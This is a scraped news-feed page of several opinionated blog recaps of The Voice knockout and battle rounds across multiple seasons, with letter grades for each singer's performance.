The Voice Recap Megan Danielle Cammwess KnockoutsTeam Blake: Joei Fulco singing “When Will I Be Loved?” (Grade: B+) defeated Levi Watkins singing “I Ain’t Living Long Like This” (Grade: A-) | In rehearsal with Mega Mentor James Taylor, Joei said possibly the most honest thing we’d hear all night: “My dad will be so jealous.” Not that Taylor isn’t a legend and a half, I just doubted that she or Levi would know him from Grandpa Munster. Hilariously, Levi clarified that, although he was singing Waylon Jennings’ outlaw party-every-night song, he was neither an outlaw nor out partying every night. Adorable. And he had what his coach called “a deep bottom end” that seemed destined to serve him well on stage. In the moment of truth, he sang like a freakin’ pistol that had just been shot. I hate to sound like the coaches, playing their broken record of “OMG! And he’s only 14!” but s—, he is. And he performs like someone 10 times his age. This was more fun than anything Jake Hoot did in Season 17 — and he won. When it was Joei’s turn, she was splendid, letting rip a voice as rich and pliable as warm caramel. Despite that, I would’ve gone — and thought “Mr. Blake” had to go — with Levi, an anomaly in Season 18 and a contestant less likely to get lost in the shuffle. Guess he proved me wrong. Damn.

the-voice-recap-megan-danielle-cammwess-knockoutsTeam Kelly: Megan Danielle singing “Piece by Piece” (Grade: A-) defeated CammWess singing “Say Something” (Grade: A) — CammWess stolen back by John | No sooner had Megan arrived at rehearsal than she “Oprah’d” her coach by saying she’d chosen her song because, yeah, she related to it. CammWess made Kelly cry next by suggesting that A Great Big World’s hit could apply to faith. Yeah, Kelly was a one-woman waterworks Monday. When Megan and CammWess hit the stage, ho. Ly. Crap. Maybe I’m just hyperemotional from being home for weeks, but these two killed me as much as they had their coach. After making a bigger impression in the Battles than he had in the Blinds, CammWess delivered a Knockout that really lived up to the name. It was super intimate, super vulnerable, and those runs — he did with the sounds coming out of his mouth the same thing a ribbon dancer does with ribbons. I got actual chills. Then Megan got up there and sang her heart out with a mercilessness that made you just want to hug her. Plus, the combination of precision and rawness that she packs into each performance is just nothing short of magical. I know I often say, “Oh, who are the coaches kidding pretending it’s hard to pick a winner?” But Lord, this one was hard to pick. I’d probably have given the edge to CammWess, who seemed a scintilla more present and connected on stage. Kelly, after saying that she’d made her decision strategically, went with Megan, then let Nick duke it out with CammWess’ former coach John over which of them was going to steal him.

the-voice-recap-megan-danielle-cammwess-knockoutsTeam Legend: Mike Jerel singing “Versace On the Floor” (Grade: B-) defeated Darious Lyles singing “Me and Mrs. Jones” (Grade: B+) | Good as Darious is, I kinda thought this Knockout was Mike’s to lose; he’s not just in another league, it’s like he’s from another planet. In rehearsal, John discouraged Darious from letting his big notes trail off (which it didn’t seem like he should need to do, anyway — his voice is big enough to stay big, right?). But Mike actually sounded iffier during his run-through; John and James both heard pitch issues. Under the spotlight, Darious offered up the equivalent of a turndown service, using his own velvety voice as the silk sheets. He was, in a word, terrific. Yet I still somehow felt like I was expecting more — maybe a key change? There was nothing, and I mean nothing, wrong with what he did. It was just sorta like a firework that you expect to explode more brilliantly than it does; it was still pretty and enjoyable, just not as exciting as you anticipated. Up next, Mike seemed to have gotten his pitch issues mostly under control — mostly. Nick heard him sounding at points uncomfortable. But his performance didn’t quite come together. All the parts were there, they just needed to sit on the burner a little longer, maybe? I’d have gone with Darious, even though I wanted more from his number.

the-voice-recap-megan-danielle-cammwess-knockoutsTeam Nick: Roderick Chambers singing “Redbone” (Grade: B) defeated Tate Brusa singing “The Scientist” (Grade: D) | I might’ve assumed that Nick would lean toward Mini Me Tate, were it not for the fact that Roderick had so distinguished himself in the Battles. I wasn’t sure about his choice of Childish Gambino’s hit for himself, though; it was sounding a little dicey in rehearsal. Tate struggled, too, however. At times, it sounded like he couldn’t find a note if it was written on a Post-It. When it counted, Roderick reminded us why he isn’t to be underestimated. I still wasn’t sure that the song was the right pick for him, but he totally brought it. The broad-shouldered contestant looked like a refrigerator singing sweet nothings at us — and, more often than not, it worked. Next to take the mic, Tate started off with enough pitch problems to get him sent back to baseball camp. The kid’s talented for sure, but this was painful. Even on the big notes that generally allow him to cut loose, he didn’t manage to sell it. So this was an easy decision — for me, anyway: I would’ve gone with Roderick.

the-voice-recap-megan-danielle-cammwess-knockoutsTeam Blake: Todd Tilghman singing “Anymore” (Grade: C+) defeated Cam Spinks singing “Rumor” (Grade: D) | Prior to this Knockout, I imagined that I’d enjoy Todd’s performance more than Cam’s, and Blake would gravitate toward Cam regardless since he’s country through and through. But Blake was hearing greater range from Cam in rehearsal than he ever had before. So maybe he would surprise me. The big challenge for Todd seemed like it was going to be figuring out the best way to harness his energy on stage; to that end, James helped him rearrange his Travis Tritt cover a bit. First up, hmm… Todd held my interest as much as a piece of day-old toast does. He was fine, but fine wasn’t gonna cut it. Only when the song really let him cut loose and unleash his voice, a cross between a foghorn and Joe Cocker, did he come alive. Didn’t think that was gonna be enough. In the No. 2 position, oh crap. Cam sounded so off, I turned down the volume on my TV in hopes of helping him out. “That was fun,” John lied before nailing Cam on pitch problems. Kelly suggested that he hadn’t given himself enough room to spread out on “Rumor.” On the flipside, Todd, in his coach’s estimation, was “literally an animal that feeds off of energy.” So they had better pick him some more energetic songs!

Team Legend: Zan Fiskum singing “The Story” (Grade: B-) defeated Joanna Serenko singing “Angel From Montgomery” (Grade: A-) — Joanna stolen by Blake | This Knockout actually seemed like it might be a toughie — the contestants were too evenly matched. Even when Joanna started her John Prine/Bonnie Raitt cover with the line “I am an old woman,” I couldn’t help but believe her. Her voice is so pure, every note rings true. When Zan tried out her Brandi Carlisle number, she was so predictably excellent that it dawned on me, “Oh, duh — two powerhouses, last Knockout of the night, we must be getting a Steal!” Singing first, Joanna was nothing short of mesmerizing. She had my heart doing the same happy dance that her coach was doing in his seat. Yeah, she struggled a little on the bigger notes — she was more comfortable singing a little more softly, cool as the morning dew — but overall, stunning. Rounding out the night, Zan was good but less vocally confident than I’d come to expect. I actually thought the band did her a favor when they came in and kinda overpowered a line that sounded thisclose to going off the rails. Don’t get me wrong — for the most part, she was good. Really good. I just thought that she’d be better. (Am I asking too much?) Thankfully, Blake and Joanna’s former coach Nick both hit their Steal buttons to keep Joanna around.

So, which of the Knockouts really wowed you? Any of them Spanx-bustingly good? Vote for your favorite below, then hit the comments. Anybody got a bright idea about how we could go live while social-distancing?

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]]> https://briefnews.eu/the-voice-recap-which-knockouts-packed-the-biggest-emotional-punch/feed/ 0 The Voice Recap: Which Contestants Did ‘Mega Mentor’ Taylor Swift Guide to Victories in the First of the Knockouts? https://briefnews.eu/the-voice-recap-which-contestants-did-mega-mentor-taylor-swift-guide-to-victories-in-the-first-of-the-knockouts/ https://briefnews.eu/the-voice-recap-which-contestants-did-mega-mentor-taylor-swift-guide-to-victories-in-the-first-of-the-knockouts/#respond Tue, 29 Oct 2019 07:55:43 +0000 http://briefnews.eu/the-voice-recap-which-contestants-did-mega-mentor-taylor-swift-guide-to-victories-in-the-first-of-the-knockouts/

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Monday’s episode of The Voice brought to an end Season 17’s Battles (as well as four more acts’ hopes of advancing) and kicked off the much-missed Knockouts with Taylor Swift on board as Team Kelly Clarkson, Blake Shelton, John Legend and Gwen Stefani’s “mega mentor.” Of note — aside from my lingering irritation that Blake dumped the awesome Cory Jackson for the eh-some Zach Bridges — is the fact that the coaches have only one steal, as opposed to a steal and a save as in seasons past. Got all that? Then, as Carson Daly would say, the recap starts now.

The Last of the Battles

Team Gwen: Jake Haldenvang (Grade: C+) defeated Caroline Reilly (Grade: C-) on “Just Like a Pill” | Before Jake and Caroline began rehearsing, I assumed that the former had so much of an edge in their Battle that he could’ve been sponsored by Gillette. But 16-year-old Caroline seemed more comfortable with their Pink cover and impressed her coach with her emotional openness. It also didn’t sound promising for Jake that Gwen complimented him by saying that his high notes, er, “weren’t pitchy, really.” In the moment of truth, Caroline sounded a little flat — or maybe that was just what her performance left me: flat. Jake stood out more, thanks to his rasp and kinda a Steven Tyler Lite quality to his vocal. But overall, this was uninspired and uninspiring. I wouldn’t have cared if they both went home.

the-voice-recap-katie-kadan-max-boyle-knockoutsTeam Legend: Preston C. Howell (Grade: B+) defeated Mendeleyev (Grade: B-) on “Fire and Rain” | Yikes. This promised to be a rough Battle since I was as interested in seeing both of these guys stay as I was disinterested in seeing Jake or Caroline stick around (and only Blake still had a Steal). Props to John, though — his choice of this James Taylor classic seemed like a great compromise that would allow his team members’ styles to meet in the middle. In rehearsal, Preston sounded downright dreamy; Mendeleyev, a little too much like he was attacking a song that wanted to be caressed. On stage, Mendeleyev sang with great clarity and a hint of vulnerability. But this Battle just belonged to Preston. There was a sweetness to his vocal that was as irresistible as that piece of Halloween candy that you know is gonna push you over the brink into nausea, but you eat it, anyway. Mendeleyev shone again on his bigger, rockier notes, but still… this was Preston’s all the way. Bummer that they can’t sing together all the time — their harmonies were gorgeous.

Team Kelly: Hello Sunday (Grade: B-) defeated Lauren Hall (Grade: A-) on “Wrecking Ball” — Lauren stolen by Blake | Before her team members arrived for rehearsal, Kelly told advisor Normani that this was her “odd pairing.” But they sounded oddly good together. Hello Sunday had to work to get big and belty, but they were getting there during practice. Lauren needed no such coaching on bigness or belty-ness; it came as naturally to her as breathing, which made me think she was gonna take a, er, wrecking ball to the youngsters’ dreams of advancing. On stage, Hello Sunday started off sounding soft and pretty, which made their vocal pale in comparison to Lauren’s when she opened her mouth — her vocal was just. So. Commanding. The kids got good and bombastic on the chorus — and that howl they threw in there was wicked! — but it (wrongly!) seemed to me that there was just no beating Lauren. Her voice is massive, and she beyond-ably demonstrated that she knows how to wield it. The whippersnappers, on the other hand, wound up sounding a little desperate and off toward the end. They have great promise, it just isn’t a promise that’s 100-percent ready to be fulfilled.

And dispatched in a brief montage — all together now: argh! — Ricky Braddy defeated Jordan Chase to remain on Team Blake, and Calvin Lockett defeated Brennen Henson to remain on Team Gwen.

The First of the Knockouts

the voice recap katie kadan max boyle knockoutsTeam Blake: Cali Wilson singing “Wicked Game” (Grade: C) defeated Marina Chello singing “I (Who Have Nothing)” (Grade: A) | In rehearsal, Cali seemed to have chosen the freakin’ perfect song — she sounded like a million bucks on her Chris Isaak cover. Taylor only had one note for her: play more than one emotion over the course of the performance. Marina explained that she chose her Tom Jones cover because it was one of her singer father’s favorites. Cali had to been at least a little shook when Taylor had no vocal notes whatsoever for her opponent. Up first, Marina served total Shirley Bassey realness. Every time I thought her voice couldn’t possibly open up any wider or go any bigger, damn, if she didn’t prove me wrong. She was a force! Taking the mic after that hardest of acts to follow, Cali looked like she was coolly confident, but that cool confidence didn’t extend to her vocal. She sounded great on the choruses; however, throughout the rest of the song, it felt like she wasn’t always sure of what she was going for. (Maybe she’d been confused by the instruction to play more than one emotion?) John loved Cali’s performance regardless — he called it pitch-perfect. Obviously, Blake dug it, too. Couldn’t believe he let go of a belter like Marina. (First Cory Jackson, now this?!? What are you doing, Shelton?)

Team Kelly: Jake Hoot singing “Cover Me Up” (Grade: A-) defeated Melinda Rodriguez singing “Always Be My Baby” (Grade: C-) | After Jake tried out his number for Kelly and Taylor, La Swift suggested that he work at not swaying so much, lest that become the audience’s focus. Rehearsing second, Melinda tearfully revealed that her brother, whose body is covered with tattoos of Taylor’s album titles, was having the heart transplant he’d been waiting for. He just had to wake up after surgery, Melinda said, so that she could tell him about her day with Taylor. Once everyone recovered from Melinda’s emotional story, Taylor redirected the way that she was approaching the melody. Up first, Jake called to mind Red Marlow. The way he sang his story made you wanna lean in and listen closer. He also showed off pretty impressive range and, briefly, a rasp that could sand the paint off a wall. In short, he killed it. When Melinda took her turn in the spotlight, she ran afoul of enough pitch issues to get her benched in a baseball game. Overall, she has a sunny, pleasant voice, but this wasn’t a great showcase of it. John somehow thought that this so-so performance had been Mariah-caliber. (Somewhere, Mariah had to have been like, “Seriously?”) Anyway, if you were wondering, Melinda’s brother, we were informed in a cutaway, was recovering nicely. And no doubt enjoying some Taylor swag.

the-voice-recap-katie kadan max boyle-knockoutsTeam Legend: Katie Kadan singing “Piece of My Heart” (Grade: A) defeated Max Boyle singing “When the Party’s Over” (Grade: A) — Max stolen by Kelly | Oy! I was sure that this Knockout was going to devastate me, because I did not want to lose either Katie or Max. They’d been among my favorites since the Blinds. Pain. Ful. I hoped the coaches had those Steals ready, or I was likely to break my TV reaching through it to press their buttons for ’em! In rehearsal, Katie, as she will do, blew away Taylor with her “ballsy” performance. “You morph into a superhero on stage,” Taylor marveled. And, amazing as Katie was, she didn’t need any guidance, it seemed. Up next, Max was determined to meet the challenge head-on. He did so by pouring his broken heart into a rendition of Billie Eilish that was as raw as an open wound. When he was done, Taylor didn’t have as much advice for him as she did praise. On stage… well, crap. If there is a way that I could love Katie more, I dunno what it is. Her costume-y style is so outré, it borders on cartoonish; she almost challenges you to write her off as a caricature just so she can smack you the hell back in line with a voice that’s so monumental in its force and expressiveness, it could start landslides two states over. As Blake put it after she absolutely demolished her Janis Joplin cover, “Every time she comes out here, they have to repair the roof.” She is a star to the nth, maybe even to whatever comes after the nth. When Max took his turn behind the mic, Kelly described it thusly: She’d expected Katie to be Wonder Woman but hadn’t anticipated him being Superman, and he was. His emotional performance was less bombastic than Katie’s number but, honestly, no less impactful. His tone was gorgeous, his control on those high notes, stunning, and he sounded, arguably more than Katie, like an act you’d hear on the radio today. (I only wish we heard more Katies on the radio!)

So, who slayed their Battle in your opinion? And were any of the Knockouts actual… knockouts? Vote in the polls below, then hit the comments.


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]]> https://briefnews.eu/the-voice-recap-which-contestants-did-mega-mentor-taylor-swift-guide-to-victories-in-the-first-of-the-knockouts/feed/ 0 The Voice Recap: After the Knockouts, Who's Headed for the Live Playoffs? https://briefnews.eu/the-voice-recap-after-the-knockouts-whos-headed-for-the-live-playoffs/ https://briefnews.eu/the-voice-recap-after-the-knockouts-whos-headed-for-the-live-playoffs/#respond Tue, 10 Apr 2018 06:02:38 +0000 http://briefnews.eu/the-voice-recap-after-the-knockouts-whos-headed-for-the-live-playoffs/ Cue the bell — Monday’s episode of The Voice brought to an end Season 14’s Knockout rounds. But did it suggest a frontrunner going into the Live Playoffs? Before it, the contestants had surprised us over and over again, sometimes in a positive way (for instance, Kyla Jade emerging from her shell to own Lesley Gore), sometimes not so much (Terrence Cunningham making something bad of “Tell Me Something Good”). So maybe it remained too early to start predicting who’d win — we were still learning who was going to be able to perform at a consistently high level. (That said, I’m feeling Team Alicia — not a lotta weak links in that chain.) Which of Monday’s singers stood out, for better or worse? Read on…

Team Alicia: Britton Buchanan singing “New York State of Mind” (Grade: A) defeated Dallas Caroline singing “Bless the Broken Road” (Grade: D) | Serving piano-bar realness and a vocal as rich as Bailey’s Irish cream, Britton did right by Billy Joel, turning out a performance that was so polished, you’d have sworn he’d been singing for longer than he’s been alive. Between his vocal consistency and that charm that makes me think he’d make an adorable animated character, he looks like a lock for the Top 12. Mercifully, we didn’t cut often to Dallas during Britton’s performance; the expression on her face had to have been one of “Aw, s—.” When she took to the mic, it was our turn to say, “Aw, s—.” Poor, scared kid sounded like a pitchy goat. The combination of the nerves that she’s never managed to get under control, her inexperience and that unsure vibrato did her in one last time. There’s a good singer in her somewhere, she just wasn’t able to coax that singer out on this show.

the voice recap dr king tish haynes keys knockoutsTeam Kelly: D.R. King singing “(I Know) I’m Losing You” (Grade: B+) defeated Tish Haynes Keys singing “Lady Marmalade” (Grade: B-) — Tish saved by Kelly | First up, D.R. sang with screen-rattling passion — and we’re not talking here and there, we’re talking through the entire song! By the time he was finished, part of me was like, “Jeez, that was amazing!” and part of me was like, “Jeez, that was exhausting!” A little ebb and flow from him, a little nuance, might’ve been nice, but he certainly showed that he’d entered the ring capable of delivering a knockout. Mind you, there wasn’t a whole lot of subtlety to Tish’s performance, either. The big difference between them was that on stage, she was fun. She looked like she was having a blast basically telling her coach, “Oh, you think that’s a big note? Try this one.” And if a contestant shows us a good time, I’ll forgive an awful lot of technical issues (and here, there were a few).

the voice recap dr king tish haynes keys knockoutsTeam Blake: Wilkes singing “The Climb” (Grade: B+) defeated Dylan Hartigan singing “You Are the Best Thing” (Grade: C) — Dylan stolen by Kelly | A fact’s a fact: Dylan’s got an OK voice. I don’t get any sincerity out of it, and the gesticulations that he can’t seem to shake from his boy-band days don’t help in that regard. But nonetheless, it’s generally OK. Even in this performance, it was mostly passable. Trouble is, “mostly passable” can’t — or at least shouldn’t — take him past the Knockouts. (It did, but that’s another story.)  As for Wilkes, I like him as a rocker — between the voice and the hair, he’s just made for it. But I love the guy as a country-rocker. (Especially on Team Blake!) Wilkes’ rootsy take on Miley’s hit wasn’t flawless, and he’s definitely a contender for the Hunter Plake Mumblemouth of the Season Award. But, in particular with that never-ending last long note, he stunningly demonstrated the distinction between a dude with an OK voice and one with a helluva voice.

the voice recap dr king tish haynes keys knockoutsTeam Adam: Rayshun LaMarr singing “Fallin’” (Grade: A+) defeated Gary Edwards singing “Many Rivers to Cross” (Grade: A) — Gary stolen by Blake | Before Gary’s performance, my impression of him was that he was a decent singer but not remotely memorable. After his performance, I didn’t think I’d forget him anytime soon. He poured into his Jimmy Cliff cover so much passion, so much guts, he didn’t ask for our attention so much as command it. He doesn’t have the biggest range in the competition, but I don’t think he hit an off note during the whole song. (And I loooved the way he let his last note dramatically kind of wilt across the finish line.) Singing second, Rayshun, OMG! He was a total wild man, eyes bugging out of his head, jumping up and down, pulling notes out of thin air. And the best part was that the madness of his performance was entirely justified: He soared to heights that were so ridiculous, Kelly declared him “ballsy as hell.” This was the Rayshun that should’ve been in this competition all along, and this is the Rayshun that I’ll be looking forward to hearing in the Playoffs.

the voice recap dr king tish haynes keys knockoutsTeam Kelly: Alexa Cappelli singing “Goodbye Yellow Brick Road” (Grade: C-) defeated Jorge Eduardo singing “Adorn” (Grade: D+) | As nice a kid as Alexa seems to be, I’m reluctant to like her. And I’d have thought that that was just because I was still pissed off that we lost Jaclyn Lovey and Livia Faith (both of whom I thought showed more promise and originality). But then Alexa went and murdered Elton John before our eyes — and, worse, before our ears — and I had a whole new reason to be iffy about her. Clearly, her ambition in taking on “Goodbye Yellow Brick Road” far exceeded her ability to get the classic right. Performing second, Jorge… oh, man. He crashed and burned so badly. It wasn’t Jaron Strom awful, and Jorge had a moment or two that landed, but the overall impression that he left was “train wreck.” Alexa got really lucky.

the voice recap dr king tish haynes keys knockoutsTeam Alicia: Kelsea Johnson singing “Rise Up” (Grade: A+) defeated Sharane Calister singing “All I Could Do Was Cry” (Grade: A-) — Sharane stolen by Adam | Kelsea had a bit to make up for after her Battle. (You’ll recall she’d just about sung herself hoarse before getting on stage.) Luckily, the Kelsea who walked into the spotlight for her Knockout was the Kelsea that we’d initially picked as such a contender. Her voice wasn’t just powerful — and clearly well-recovered from its overuse — it was gorgeous and nimble as hell. The way it rose and dipped over the melody made me think of a paper airplane being elegantly lifted and dropped by a breeze. Plus, from head to tone, Kelsea comes off like an Artist with a capital A. Rounding out the evening, Sharane had a lot to live up to in my book, because I still remember (vividly) the flawless rendition of this oldie that Felicia Temple did in her Season 12 Blind Audition. But I have to say, Sharane freaking nailed it. While she lacks some of Felicia’s polish, she more than makes up for it with passion and just absolute firepower. Here, there was a rawness to Sharane’s performance that sounded like a freshly broken heart feels.

And, dispensed with in a montage — wait, can you have a montage of only one Knockout? — Reid Umstattdt defeated Jordyn Simone to remain on Team Adam.

So, who stood out for you Monday? And do you think past winners should be brought back every season as key advisers? Vote in the poll below, then hit the comments.

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]]> https://briefnews.eu/the-voice-recap-after-the-knockouts-whos-headed-for-the-live-playoffs/feed/ 0 The Voice Recap: Which Night 2 Battlers Made It Through to the Knockouts? https://briefnews.eu/the-voice-recap-which-night-2-battlers-made-it-through-to-the-knockouts/ https://briefnews.eu/the-voice-recap-which-night-2-battlers-made-it-through-to-the-knockouts/#respond Wed, 21 Mar 2018 01:36:49 +0000 http://briefnews.eu/the-voice-recap-which-night-2-battlers-made-it-through-to-the-knockouts/ Before we review the contestants who duked it out in Night 2 of The Voice’s Season 14 Battles, can we press “pause” for a hot second and just savor the awesome bizarreness of these particular rounds? We have two contestants labeled teammates singing a duet together. Only each one’s goal is not to do well for the team but for themselves. It doesn’t matter if they put forth the best duet they possibly can or sound great together, it only matters if they manage to outshine their partner. It’s even more bizarre than the Knockouts, in which the vocalists are seated on stage to watch their opponent try to send them home. Yes, you can often see the moment when a contender realizes, “Oh, s—, I can’t beat that,” but at least in those rounds, there’s no illusion that anyone is pulling together for the sake of a song. Which is what makes the Battles uniquely, awesomely bizarre. That observation out of the way, let’s get to Tuesday’s singoffs…

Team Kelly: Jorge Eduardo (Grade: A-) defeated Amber Sauer (Grade: B+) on “Starving” | Pre-performance, Kelly explained that she’d paired Jorge and Amber because they were her most passionate singers, which almost surely sounded more like an accidental dis of the rest of her team than she could have meant it to. In rehearsal, Jorge surprised his coach and advisor, with Amber’s help, by adding a little Spanish section to Hailee’s hit, and the contestants harmonized like a dream. Kelly, it seemed, had set herself up for a real dilemma, come time to send one of them packing. On stage, Jorge started them off sounding like a total star, and again, their harmonies were gorgeous. Amber’s phrasing on her solo verse struck me as odd, but there was no denying she has a lovely voice (and a much bigger one than she got to showcase here). They actually worked tremendously well as a duo; too bad they couldn’t continue on as a pair. Stunned Amber didn’t get stolen.

Team Adam: Reid Umstattd (Grade: B+) defeated Davison (Grade: B) on “Love On the Brain” | This Battle was a solid “B” all around — and I mean that as a compliment. (Last season, before I’d taken your advice and started grading much harder, it probably would have been an “A.” Ditto D.R. and Jackie Monday. But remember, “B” is still “very good.”) The fellas’ Rihanna cover wasn’t the jaw-dropper that Chris Blue’s was back in Season 12, but then, Chris is — and I’m gonna sound like the fanboy I am here — in a league of his own. Were I Adam, I’d have had a legit difficult time choosing between my team members. Though Davison sounded like he struggled a mite in rehearsal, when it was duet-or-die, he and Reid were both exceptional. But, with apologies to any lactose-intolerant readers, Reid’s vocals were a little more like half-and-half; Davison’s, like skim milk. Both tasty, just one richer than the other. So I’d have had to go, as Adam did, with Reid.

the voice recap jorge eduardo kelsea johnson battlesTeam Alicia: Kelsea Johnson (Grade: C) defeated Jordyn Simone (Grade: B+) on “Don’t Let Go” — Jordyn stolen by Adam | From the second that we got our first taste of Kelsea and Jordyn’s En Vogue cover in rehearsal, you could tell that it was gonna be epic. So it was probably shrewd of Alicia and Shawn to advise the singers to turn down the volume at times so that, when they built up to full blast, it would have the maximum impact. It also seemed like good advice to keep them from losing their voices — but it was guidance that came too late to help Kelsea. On stage, she sounded raw not just for the sake of the effect; she actually seemed to be struggling like crazy. Get that woman a sore-throat lozenge! Jordyn, on the other hand, had a much easier time. She was able to go big without it sounding like it was hurting her to do so. I understand why Alicia went with Kelsea, after her amazing Blind. But for sure, Jordyn won this Battle.

And, in the hour’s montage, Jaron Strom defeated Bransen Ireland to stay on Team Blake, Johnny Bliss defeated Megan Lee to stay on Team Alicia, and Jamella defeated Teana Boston to stay on Team Kelly.

So, who did you think fared best in Tuesday’s Battles? Vote in the poll below, then hit the comments.

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]]> https://briefnews.eu/the-voice-recap-which-night-2-battlers-made-it-through-to-the-knockouts/feed/ 0 The Voice Recap: After the Last of the Knockouts, the Winner's Likely to Be… https://briefnews.eu/the-voice-recap-after-the-last-of-the-knockouts-the-winners-likely-to-be/ https://briefnews.eu/the-voice-recap-after-the-last-of-the-knockouts-the-winners-likely-to-be/#respond Wed, 08 Nov 2017 02:32:44 +0000 http://briefnews.eu/the-voice-recap-after-the-last-of-the-knockouts-the-winners-likely-to-be/ Tuesday’s episode of The Voice left Season 13’s Knockouts in the rearview mirror and me feeling reflective — mainly about how easy it was to pick the standouts from this eh-OK crop of contestants. My once-high expectations for Anthony Alexander have been lowered. After Monday’s “Behind These Hazel Eyes,” I still think of Moriah Formica as rock but not rock-solid. Ashland Craft’s “Wanted Dead or Alive” should have left her singing “Take Me Home, Country Roads.” And as far as I can tell, Jon Mero simply cannot cut the cheese out of his performances. That leaves, IMHO, five real contenders: Chris Weaver, who, as you’ll read below, continued on Tuesday to be shoe-throwingly good; Chloe Kohanski, who shone just as the spotlight on Ashland was dimmed; Davon Fleming and Janice Freeman, both of whom are as much fun to watch as to listen to; and Emily Luther, who’s so stupendous, she’s been warned against being too perfect. (Is that even a thing?) But enough about me. Having made it through the Knockouts, who are you thinking has what it takes to win? Let’s review Tuesday’s singoffs, then you can weigh in in the comments.

Team Jennifer: Chris Weaver singing “I Put a Spell on You” (Grade: A-) defeated Katrina Rose singing “Zombie” (Grade: C) | Chris came out, tongue coated in velvet, and so beautifully set a midnight tone that I had to check the clock to make sure I wasn’t up past my bedtime. But he wasn’t just trying to get us drunk on his satiny vocals, he was intent on showing off, which he did (and how) on choruses so raw and unhinged, they made me think of the Marilyn Manson version of the song more than the Nina Simone one. When Katrina took her turn in the spotlight, she sang her lungs off but was vocally way out of control. (And that last big “zooombie” was a total disaster.) So obviously, the win had to go Chris.

Team Blake: Red Marlow singing “Outskirts of Heaven” (Grade: B) defeated Megan Rose singing “Smoke Break” (Grade: B-) | Going into this clash of the would-be country stars, the smart money was on Red. How could it not be? The guy described himself as being as country as a “wheelbarrow full of turnip greens.” Up first, Megan sang so quietly on the verse that the band almost drowned out her vocal. No one could have had any trouble hearing her on the chorus, and she acquitted herself nicely, but there was nothing about the performance that was going to make you remember it a week from now. (What’s that? You’ve already forgotten it?) When Red stepped up to the mic, he sounded shakier than I expected but also somehow more authentically country, which, lucky for him, was enough to get him a pass. At some point, though, he’s gonna have to be great and just not super-country, right?

the voice recap chris weaver anthony alexander knockoutsTeam Adam: Anthony Alexander singing “Mercy” (Grade: C) defeated Hannah Mrozak singing “Love on the Brain” (Grade: A-) — Hannah stolen by Jennifer | Gutsy move on Hannah’s part, tackling that particular Rihanna hit after Chris Blue so completely owned it in Season 12. Smart move, too, it turned out. She might not have owned it as incredibly as Chris had, but she at least rented it, demonstrating formidable range and earning herself the steal. During Anthony’s Shawn Mendes cover, I was forced to rethink my championing of him. The kid can sing, no doubt. But he’s so unseasoned that he threw away the verse, fumbled big time in the middle of the song and, for most of his performance, demonstrated approximately the same stage presence as a nervous sophomore trying to win a trophy from his school’s talent show. Bums me out to say it, but he’s just not ready.

So, who do you think gave the night’s best performance? Vote in the poll below, then hit the comments with your pick to win the season.

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]]> https://briefnews.eu/the-voice-recap-after-the-last-of-the-knockouts-the-winners-likely-to-be/feed/ 0 The Voice Knockouts Recap: Did an American Idol Have the X Factor? https://briefnews.eu/the-voice-knockouts-recap-did-an-american-idol-have-the-x-factor/ https://briefnews.eu/the-voice-knockouts-recap-did-an-american-idol-have-the-x-factor/#respond Tue, 31 Oct 2017 04:33:16 +0000 http://briefnews.eu/the-voice-knockouts-recap-did-an-american-idol-have-the-x-factor/ Had Monday’s start of The Voice’s Season 13 Knockouts been Kelly Clarkson’s Blind Audition to be a coach on the show, would you have turned your chair for her? The Grammy-winning American Idol champ certainly appeared to be into it. And her advice seemed on point. (For instance, she suggested that Shi’Ann Jones maybe shouldn’t spend an entire song doing runs, encouraged Janice Freeman not to just copy Mary J. Blige, and brought a hell of a howl out of Dennis Drummond.) But I dunno — she didn’t feel like an obvious slam-dunk the way that Kelly Rowland had during the Battles. (Why hasn’t she been signed up as a coach yet?) Before you weigh in on Clarkson’s key-adviser performance in the comments, let’s review the night’s match-ups, shall we?

Team Blake: Esera Tuaolo singing “Superstar” (Grade: B-) defeated Adam Cunningham singing “Either Way” (Grade: B+) — Adam stolen by Adam Levine | Singing first, Adam immediately established a tone of intimacy that was so striking, it made you feel like you were eavesdropping on a secret being told. So, when he built to the bigger notes, the contrast was stunning. When Esera took his turn, he reminded us that his voice is as mountainous as he is. And certainly, he wasn’t “bad.” But his performance was overall forgettable. Not only does he lack stage presence, but there are at least half a dozen singers in the competition whose soul stylings pack more punch. Adam Levine definitely got the better end of the steal.

Team Jennifer: Shi’Ann Jones singing “Who’s Lovin’ You” (Grade: B) defeated Lucas Holliday singing “Tell It Like It Is” (Grade: C) | Maybe Lucas’ power was in his mullet. Having stylishly trimmed it, he started off his performance wobbly — I mean, there’s vibrato, and then there’s just plain wobbly; he was the latter. Though he recovered, he only went on to come off alternately pancake-flat and flop-sweat-desperate. Sorry, Luke; back to the cash register. When Shi’Ann took her turn, the worst that could be said about her Jackson 5 cover was that she might have oversung it (and hadn’t needed to). Also, that little break that she puts in her voice… totally cool. But perhaps she doesn’t need to include it in every other note.

Team Adam: Addison Agen singing “Beneath Your Beautiful” (Grade: B+) defeated Dennis Drummond singing “All Along the Watchtower” (Grade: C+) | From the first line of Addison’s performance, I could tell that she would win the round. Not just because she sounded lovely — she did — but because if you played her for me, and 20 other vocalists, I could pick her voice out of the crowd. Is she my favorite? No. She’s too affected for my taste. And this was definitely not her most wow-some showing. But she is, at least for this competition, unique. As for Dennis, he nailed the howl that Kelly Clarkson had coaxed out of him in rehearsal but mostly reinforced the notion that he’s a better guitar player than singer.

the voice recap ashland craft janice freeman knockoutsTeam Miley: Janice Freeman singing “I’m Going Down” (Grade: A) defeated Karli Webster singing “Blue Bayou” (Grade: B+) | After hearing Miley’s teammates in rehearsals, I expected this Knockout to be a rout. That Mary J. Blige number fit Janice like a glove, and seemed destined to let her rattle the seats even in the back of the auditorium. Singing first, Karli sounded divine, like velvet curtains rustling in a breeze. (OK, except for that one painfully pitchy note in the middle.) But then Janice didn’t just take her turn, she freakin’ took possession of the stage, serving ferociously raw vocals and facial expressions to match. Karli didn’t crash and burn or anything of the sort. Yet this was still exactly the rout I feared it would be.

